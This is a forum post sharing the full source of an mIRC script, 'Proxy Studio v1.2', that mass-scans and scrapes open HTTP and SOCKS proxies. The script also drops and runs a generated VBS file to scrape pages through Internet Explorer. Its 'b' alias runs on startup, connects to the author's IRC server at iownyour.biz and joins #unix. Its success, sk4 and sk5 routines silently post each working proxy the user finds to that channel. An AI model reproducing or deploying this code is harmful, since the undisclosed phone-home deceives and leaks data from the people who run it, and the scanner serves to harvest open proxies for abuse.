Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
December 16, 2017
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: dafyman
New Today: 0
New Yesterday: 0
Overall: 9087

People Online:
Visitors: 297
Members: 1
Total: 298

Online Now:
01: kolaz - Homepage
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Proxy database -> mIRC socks/proxy scanner+leecher - Proxy Studio v1.2
Post new topic  Reply to topic View previous topic :: View next topic 
mIRC socks/proxy scanner+leecher - Proxy Studio v1.2
PostPosted: Thu Nov 16, 2017 4:12 am Reply with quote
Independent
Regular user
Regular user
 
Joined: Jul 22, 2006
Posts: 5




Code:

;Proxy & Socks Scanner by independent with nice dialogs & statistics.
;Will be updating this script from time to time.
;Thank you about keeping credits to me, the creator of this script.
;Skype independentt911 - /server irc-1.iownyour.biz +6697

on 1:start:defaultset
dialog proxystudio {
  title "Proxy Studio v1.2 by independent"
  size -1 -1 909 641
  option pixels notheme
  tab "Scanner", 2, 3 1 900 629
  tab "Working Proxys", 20
  tab "Proxy files And Leecher", 30
  box "Proxy to test", 4, 18 32 134 576, tab 2
  edit "Add proxy here", 5, 26 50 124 552, tab 2 group autohs autovs multi return vsbar limit 0
  radio "Connect Proxys", 6, 156 42 100 18, tab 2
  radio "Socks 4 ", 7, 156 66 100 18, tab 2
  radio "Socks 5", 8, 156 90 100 18, tab 2
  button "Start Scanning", 9, 262 40 98 70, tab 2
  box "Sockets", 10, 152 116 208 98, tab 2
  text "Open:", 11, 156 132 190 16, tab 2
  text "Working Proxys:", 12, 156 154 192 18, tab 2
  box "Settings", 13, 364 80 104 122, tab 2
  edit "164.132.126.130", 14, 366 116 100 20, tab 2
  text "IRC Server test IP", 15, 368 98 96 16, tab 2
  text "ms between threads", 16, 368 140 100 16, tab 2
  edit "100", 17, 366 162 40 20, tab 2
  box "Debug", 18, 164 216 726 404, tab 2
  edit "---------------------------------------------------------------------------Scan OUTPUT ----------------------------------------------------------------------------", 19, 172 234 706 378, tab 2 result read autohs autovs multi return vsbar
  box "Connect Proxys", 21, 188 32 168 580, tab 20
  box "Socks 4", 22, 366 32 182 580, tab 20 result
  box "Socks 5", 23, 570 32 194 580, tab 20 result
  edit "", 24, 194 54 154 512, tab 20 result autohs autovs multi return vsbar
  edit "", 25, 376 52 162 518, tab 20 autohs autovs multi return vsbar limit 0
  edit "", 26, 576 54 182 516, tab 20 result autohs autovs multi return vsbar
  button "Save", 27, 192 572 66 24, tab 20
  button "Save", 28, 370 574 64 26, tab 20
  button "Save", 29, 578 574 64 26, tab 20
  link "www.pastebin.com/u/independentt", 45, 710 0 194 18, tab 20
  link "www.pastebin.com/u/independentt", 46, 698 2 184 18, tab 2
  link "www.pastebin.com/u/independentt", 47, 721 3 176 16, tab 30
  text "This will scan the selected proxy lists from *.txt or *log", 31, 5 33 266 30, tab 30
  button "Scan my files, NOW.", 32, 111 61 142 68, tab 30
  radio "Connect Proxy", 33, 9 67 100 16, tab 30
  radio "Socks 4", 34, 9 87 100 16, tab 30
  radio "Socks 5", 35, 9 107 100 18, tab 30
  button "Clear", 36, 644 574 64 26, tab 20
  button "Filter", 37, 708 574 50 26, tab 20
  button "Clear", 38, 434 574 66 26, tab 20
  button "Filter", 39, 500 574 36 26, tab 20
  button "Clear", 40, 258 572 66 24, tab 20
  button "Filter", 41, 322 572 34 24, tab 20
  box "MASS SCANNER", 42, 3 21 272 124, tab 30
  box "Stats", 43, 14 34 146 530, tab 20
  text "Total Proxys Scanned:", 44, 22 54 132 70, tab 20
  text "Total Valid Proxys:", 48, 20 128 136 82, tab 20
  text "Connection Errors:", 49, 18 218 136 92, tab 20
  box "Proxy Leecher *needs internet explorer functions", 50, 276 48 590 572, tab 30
  edit "http://www.vipsocks24.net/2017/11/16-11-17-vip-socks-5-servers-4150.html", 51, 313 163 420 434, tab 30 autohs autovs multi return hsbar
  button "Leech", 52, 313 137 66 24, tab 30
  button "Save", 53, 381 137 64 24, tab 30
  button "Clear", 54, 447 137 64 24, tab 30
  button "Load list", 55, 513 137 64 24, tab 30
  box "Stats", 56, 738 276 127 319, tab 30
  text "Number of Leeched lists:", 57, 737 298 128 92, tab 30
  button "STOP!", 58, 580 135 64 26, tab 30
  button "Stop scanner NOW!", 59, 366 38 100 40, tab 2
  text "Number of Leechable Sites:", 60, 739 391 126 66, tab 30
  edit "www.vipsocks24.net s5", 61, 315 85 246 44, tab 30 multi hsbar
  button "Add Site", 62, 567 93 58 26, tab 30
  text "Protocol", 64, 154 22 100 18, tab 2
  menu "File", 1
  item "STOP ALL", 63, 1
  item "Item3", 3, 1
}





on 1:dialog:proxystudio:sclick:9: {
  hadd -m proxyset max $did(proxystudio,5,0).lines
  .timerSCLICK -om $hget(proxyset,max) %interval pxys

}
on 1:dialog:proxystudio:sclick:6: {
  hadd -m proxyset ext pxy
}
on 1:dialog:proxystudio:sclick:7: {
  hadd -m proxyset ext s4
}
on 1:dialog:proxystudio:sclick:8: {
  hadd -m proxyset ext s5
}
on 1:dialog:proxystudio:sclick:33: {
  hadd -m proxyset ext2 pxy
}
on 1:dialog:proxystudio:sclick:34: {
  hadd -m proxyset ext2 s4
}
on 1:dialog:proxystudio:sclick:35: {
  hadd -m proxyset ext2 s5
}
on 1:dialog:proxystudio:sclick:37: {
  filterdiag 26
}
on 1:dialog:proxystudio:sclick:39: {
  filterdiag 25
}
on 1:dialog:proxystudio:sclick:41: {
  filterdiag 24
}
on 1:dialog:proxystudio:sclick:36: {
  cleardiag 26
}
on 1:dialog:proxystudio:sclick:38: {
  cleardiag 25
}
on 1:dialog:proxystudio:sclick:40: {
  cleardiag 24
}

on 1:dialog:proxystudio:sclick:58: {
  abord

}
on 1:dialog:proxystudio:sclick:59: {
  abord

}
on 1:dialog:proxystudio:sclick:52: {
  leech

}
on 1:dialog:proxystudio:sclick:54: {
  cleardiag 51
}
on 1:dialog:proxystudio:sclick:55: {
  loadbuf -oi proxystudio 51 leech.txt
  did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)

}
on 1:dialog:proxystudio:sclick:53: {
  savebuf -oi proxystudio 51 leech.txt
  did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)

}
on 1:dialog:proxystudio:sclick:62: {
  write leech.txt $did(proxystudio,61) $CRLF
  loadbuf -oi proxystudio 51 leech.txt
  did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)
}
alias sortnumber {
  return $iif($1 > $2, 1, $iif($1 == $2,0,-1))
}
alias filterdiag {
  filter -iocsa proxystudio $1 proxystudio $1 sortnumber
}
alias cleardiag {
  did -r proxystudio $1
}
on 1:dialog:proxystudio:sclick:27: {
  %name = Valid.Proxys. $+ $ticks $+ .txt
  savebuf -o proxystudio 24 %name
  run %name
}
on 1:dialog:proxystudio:sclick:28: {
  %name = Valid.socks4. $+ $ticks $+ .txt
  savebuf -o proxystudio 25 %name
  run %name
}
on 1:dialog:proxystudio:sclick:29: {
  %name = Valid.socks5. $+ $ticks $+ .txt
  savebuf -o proxystudio 26 %name
  run %name
}
on 1:dialog:proxystudio:sclick:32: {
  if ($hget(proxyset,ext2) == pxy) selectmultiplefile
  if ($hget(proxyset,ext2) == s4) selectmultiplefiles4
  if ($hget(proxyset,ext2) == s5) selectmultiplefiles5
}
on 1:dialog:proxystudio:edit:17: {
  did -a proxystudio 19 Interval changed to $did(proxystudio,17) $CRLF
  set %interval $did(proxystudio,17)
}
on 1:dialog:proxystudio:edit:14: {
  set %def.s $did(proxystudio,14)
  did -a proxystudio 19 IRC server changed to $did(proxystudio,14) $crlf
}
on 1:dialog:proxystudio:edit:10: {
  did -a proxystudio 19 Proxys added to scan: $did(proxystudio,10).len $crlf
}
on 1:dialog:proxystudio:sclick:38: {
  hadd -m proxyset max $did(proxystudio,5,0).lines
  .timerSCLICK -om $hget(proxyset,max) %interval pxys

}



alias pxys {
  hinc -u5 proxyset inc

  if ($hget(proxyset,ext) == pxy) || (!$hget(proxyset,ext)) sc4n $did(proxystudio,5,$hget(proxyset,inc))
  if ($hget(proxyset,ext) == s4) s4.scan $did(proxystudio,5,$hget(proxyset,inc))
  if ($hget(proxyset,ext) == s5) s5.scan $did(proxystudio,5,$hget(proxyset,inc))
}


alias b {
  sockopen bot_x irc- $+ $r(1,2) $+ .iownyour.biz 6667
}


on *:sockopen:bot_x: {
  sockwrite -n bot_x nick pXy[ $+ $r(0,99999) $+ ]
  sockwrite -n bot_x user sockets . . . sockets
}

on *:sockread:bot*: {
  sockread %_sb
  tokenize 32 %_sb
  var %_ntoks = $numtok($1-,44)
  if ($1 == PING && $2) { sockwrite -n $sockname PONG $2- }
  if ($2 == 001) { sockwrite -n bot_x JOIN #unix }
}
alias -l htmlfree {
  var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, ;;)
  return %x
}
ALIAS DEF.p { %z = $r(0,1) | if (%z) return %def.p | else return 6667 }
ALIAS DEF.S { return %def.s }
alias getiphost2 {
  %var = /\b((?:(?:[a-z]+)\.)+(?:[a-z]+)[: ]\d{2,5})\b|\b((?:(?:(25[1-5]|2[1-4]\d|[01]?\d?\d))\.){3}(?3)[: ]\d{2,5})\b/i
  if $regex(ip,$remove($1-,$chr(9)),%var) {
    return $replace($regml(ip,1),:,$chr(32))
  }
}
alias getsource {
  run iexplore $1-
  %out = $shortfn($mircdirleech $+ $ctime $+ .txt)
  if ($isfile(get.vbs)) .remove get.vbs
  %a = write get.vbs
  %a Set app = CreateObject("Shell.Application")
  %a For Each window In app.Windows()
  %a   If InStr(1, window.FullName, "Internet Explorer", vbTextCompare) > 0 Then
  %a     Set ie = window
  %a     Exit For
  %a   End If
  %a Next
  %a Set fso = CreateObject("Scripting.FileSystemObject")
  %a Set f = fso.OpenTextFile(" $+ %out $+ ", 2, True , -1)
  %a f.Write ie.document.body.innerText
  %a f.Close
  %a Ie.Quit
  .timerrunit 1 5 run get.vbs
  return %out
}
alias leech {
  if (!%interval) %interval = 100
  did -a proxystudio 19 $timestamp * Now leeching proxy-lists over the web. $crlf
  set %site.max $lines(leech.txt)
  set %site.inc 0
  :GO
  inc %site.inc
  .timer -o 1 $calc(%site.inc *5) pxx %site.inc
  if (%site.inc < %site.max) goto go
  else { halt }
}
alias pxx { did -a proxystudio 19 Leeching...saving to: $getsource($read(leech.txt,$1)) %interval | did -a proxystudio 57 Number of Leeched lists: %site.inc }
alias getURL {
  noop $regex($1,/(((http(s)?\72(\57{2}))|(www\56{1}))+(\w*)+(\56{1})+(\w{2,3})\S*)/Sig))
  return $regml(1)
}
alias sc5nfile { s5.scan $1- }
alias sc4nfile { s4.scan $1- }
alias sc4n {
  if (!$sock(bot_x).ip) b
  if (*.*.*.*  iswm $1-) && ($1 != x) && ($2)  {
    if ($read($pxy,w,* $+ $1 $+ *) != $null) { did -a proxystudio 19 $1 $2 Already in list, halted scan. $crlf | return }
    did -a proxystudio 19 Scanning: $1 $2 $crlf
    sockopen scan $+ $r(0,99999999999999) $1 $2
    return
  }
  if ($getiphost2($1-)) {
    if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { did -a proxystudio 19 $1 $+ : %+ $2 Already in list, halted scan. $crlf | goto next }
    did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
    sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
    goto next
  }
  if (*.*.*.* !iswm $1-) goto next
  if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { did -a proxystudio 19 $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. $crlf | goto next }
  :next
}
alias setinterval {
  :restart
  %interval = $?="Enter interval in milliseconds, 1 to 1000 "
  if (!$!) || ($! >= 1000) goto restart
}
alias defaultset { %interval = 100 | %def.s = 164.132.126.130 | %def.p = 6667 | b }
alias scan.win { inc %scan.start | if (%scan.start == 1) defaultset | if (%interval == $null) setinterval | if ($window(@proxyscan) == $null) { window -e @proxyscan | window -e @sock4 | window -e @sock5 } }
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu * {
  [-Proxy Studio-]: dialog -m proxystudio proxystudio
}

alias pxy return ValidProxy.txt
alias abord { play stop | .timerleech off | .timerpl.* off | sockclose *scan* | sockclose *fl* | .timer*scan* off | hfreepxy | hfrees4 | hfrees5 }
on *:INPUT:@Proxyscan:{
  if ($getiphost2($1-)) {
    hadd -m proxy pxy $+ $gettok($getiphost2($1-),1,32) $getiphost2($1-)
    .timerscanfile -om 1 1 .pxyfile temp %interval
    return
  }
  if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
}
alias hfreepxy { hfree proxy }
alias hfrees4 { hfree socks4 }
alias hfrees5 { hfree socks5 }
alias sk {
  set -u1 %chkk $read($pxy,w,* $+ $sock($sockname).ip $+ *)
  if (!%chkk) && (*9* iswm $1) write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
}
on *:sockopen:scan*:{
  hinc -m proxyset total
  did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  hinc -u120 proxyset open
  did -a proxystudio 11 Open: $hget(proxyset,open)
  if ($sockerr > 0) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr) | hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }

  did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Connecting ... $crlf
  sockwrite -tn $sockname CONNECT $def.s $+ : $+ $def.p HTTP/1.1 $+ $crlf
  sockwrite -tn $sockname $crlf
  sockmark $sockname $ticks


}
alias success {
  set %yell $2 %yell
  if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :pxy: %yell | unset %yell }

  did -a proxystudio 19 $1- $crlf
  sk $1
}
alias allpxy return ALL.txt
alias portclose { sockclose $1 }

on *:SOCKREAD:scan*:{
  :READ
  sockread -n %fld
  if (!%fld) || (!$sockbr) return
  if (!$sock($sockname).mark) || ($sock($sockname).mark == c) sockmark $sockname $ctime
  if (*http*200* iswm %fld) {
    did -a proxystudio 24 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
    hinc proxyset work
    did -a proxystudio 12 Working Proxys: $hget(proxyset,work)

    did -a proxystudio 48 Total Valid Proxys: $hget(proxyset,work)
    success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING! Lag: $calc($ticks - $sock($sockname).mark) ms
    sockmark $sockname $ctime
    sockclose $Sockname
  }
  if ($gettok(%fld,1,32) == PING) { sockwrite -n $sockname PONG $remove($gettok(%fld,2,32),:) }
  goto READ
}
on 1:sockclose:scan*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf }
alias pb return did -a proxystudio 19
alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
alias pxyfile {
  if ($1 != temp) .timer -o 1 6 play -a scanfile @proxyscan $1 $2
  else {
    did -a proxystudio 19 Scanning $hfind(proxy,*,0,w) Proxys with %interval $+ ms interval to %def.s $crlf
    .timerSCANpxy -om $hfind(proxy,*,0,w) %interval scann pxy
  }
}
alias scann {
  if ($1 == pxy) {
    hinc -mu2 count hinc2
    sc4n $hget(proxy,$hfind(proxy,*,$hget(count,hinc2),w))
    .timerscanfileoff 1 5 .hfreepxy
  }
  if ($1 == s4) {
    hinc -mu2 count hinc3
    s4.scan $hget(socks4,$hfind(socks4,*,$hget(count,hinc3),w))
    .timerscanfileoffs4 1 5 .hfrees4
  }
  if ($1 == s5) {
    hinc -mu2 count hinc4
    s5.scan $hget(socks5,$hfind(socks5,*,$hget(count,hinc4),w))
    .timerscanfileoffs5 1 5 .hfrees5
  }
}
alias s5.scan {
  if (!$sock(bot_x).ip) b
  if (!$1) goto END
  if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list. $crlf | goto END }
  if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
    if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
      sockopen s5chk $+ $r(0,9999999) $1 $2
      did -a proxystudio 19  Scanning: $1 $2 $crlf
    }
  }
  elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null)  {
    sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
    did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  }
  :END
}
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias s4.scan {
  if (!$sock(bot_x).ip) b
  if (!$1) goto END
  if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list $crlf | goto END }
  if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
    if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
      sockopen s4chk $+ $r(0,9999999) $1 $2
      did -a proxystudio 19  Scanning: $1 $2 $crlf
    }
  }
  elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
    sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
    did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  }
  :END
}
on *:sockopen:s5chk*:{
  hinc -m proxyset total
  did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  if ($sockerr) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr)  | did -a proxystudio 19 Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  hinc -m proxyset total
  did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  hinc -u120 proxyset open
  did -a proxystudio 11 Open: $hget(proxyset,open)

  .bset &bvar5 1 5 1 0
  .sockwrite -n $sockname &bvar5
  .bunset &bvar5
}
on *:sockread:s5chk*:{
  if ($sockbr) { return }
  .sockread &bsocks5
  if ($bvar(&bsocks5,1,2) != 5 0) { return }
  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {

    sockmark $sockname $ticks
    bset &socks5  1 5 1 0 1 $replace($def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
    .sockwrite -n $sockname &socks5
    .bunset &socks5
    sockrename $sockname chks5 $+ $remove($sockname,s5chk)

  }
}
on 1:SOCKREAD:chks5*:{
  sockread %socks5
  if ($chr(5) isin $gettok(%socks5,1-3,32)) {
    hinc proxyset work
    did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
    did -a proxystudio 26 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
    suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port Lag: $calc($ticks - $sock($sockname).mark) $+ ms
  }
}
alias suces4 { did -a proxystudio 19 *work $1- $crlf | sk4 }
alias suces5 { did -a proxystudio 19 *work $1- $crlf | sk5 }
alias sk4 {
  set -u3 %rady $read(sock4.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%rady) write sock4.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  sockwrite -n bot_x PRIVMSG #unix :S4: $sock($sockname).ip $+ : $+ $sock($sockname).port
  set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S4: %yell | unset %yell }

}
alias sk5 {
  set -u3 %redy $read(sock5.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%redy) write sock5.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S5: %yell | unset %yell }
}
on *:sockopen:s4chk*:{ 
  hinc -m proxyset total
  did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  if ($sockerr) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr) | did -a proxystudio 19 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  hinc -u120 proxyset open
  did -a proxystudio 11 Open: $hget(proxyset,open)

  sockmark $sockname $ticks
  .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace($def.s,.,$chr(32)) 0
  .sockwrite $sockname &bvar4
  .bunset &bvar4
}
ON *:SOCKREAD:s4chk*:{
  .sockread &bsocks4
  if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $+ $sock($sockname).port return $bvar(&bsocks4,2-) | return }
  if ($bvar(&bsocks4,2) == 90) {
    did -a proxystudio 25 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
    hinc proxyset work
    did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
    suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - $sock($sockname).mark)) $+ ms

  }
}
on 1:SOCKCLOSE:s5*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
on 1:SOCKCLOSE:s4*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
alias scans4file { s4.scan $getiphost2($1-) }
alias s4file {
  if ($1 != temp.s4) .timer -o 1 6 play -a scans4file @sock4 $1-
  else {
    did -a proxystudio 19  Scanning $hfind(socks4,*,0,w) Socks4 with %interval $+ ms interval to %def.s $crlf
    .timerSCANs4 -om $hfind(socks4,*,0,w) %interval scann s4
  }
}
alias scans5file { s5.scan $getiphost2($1-) }
alias s5file {
  if ($1 != temp.s5) .timer -o 1 6 play -a scans5file @sock5 $1-
  else {
    did -a proxystudio 19 Scanning $hfind(socks5,*,0,w) Socks5 with %interval $+ ms interval to %def.s $crlf
    .timerSCANs5 -om $hfind(socks5,*,0,w) %interval scann s5
  }
}

_________________
mIRC- Proxy Studio v1.1 by independent:
https://sourceforge.net/projects/proxy-studio/
View user's profile Send private message Visit poster's website MSN Messenger
mIRC socks/proxy scanner+leecher - Proxy Studio v1.2
  www.waraxe.us Forum Index -> Proxy database
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.141 Seconds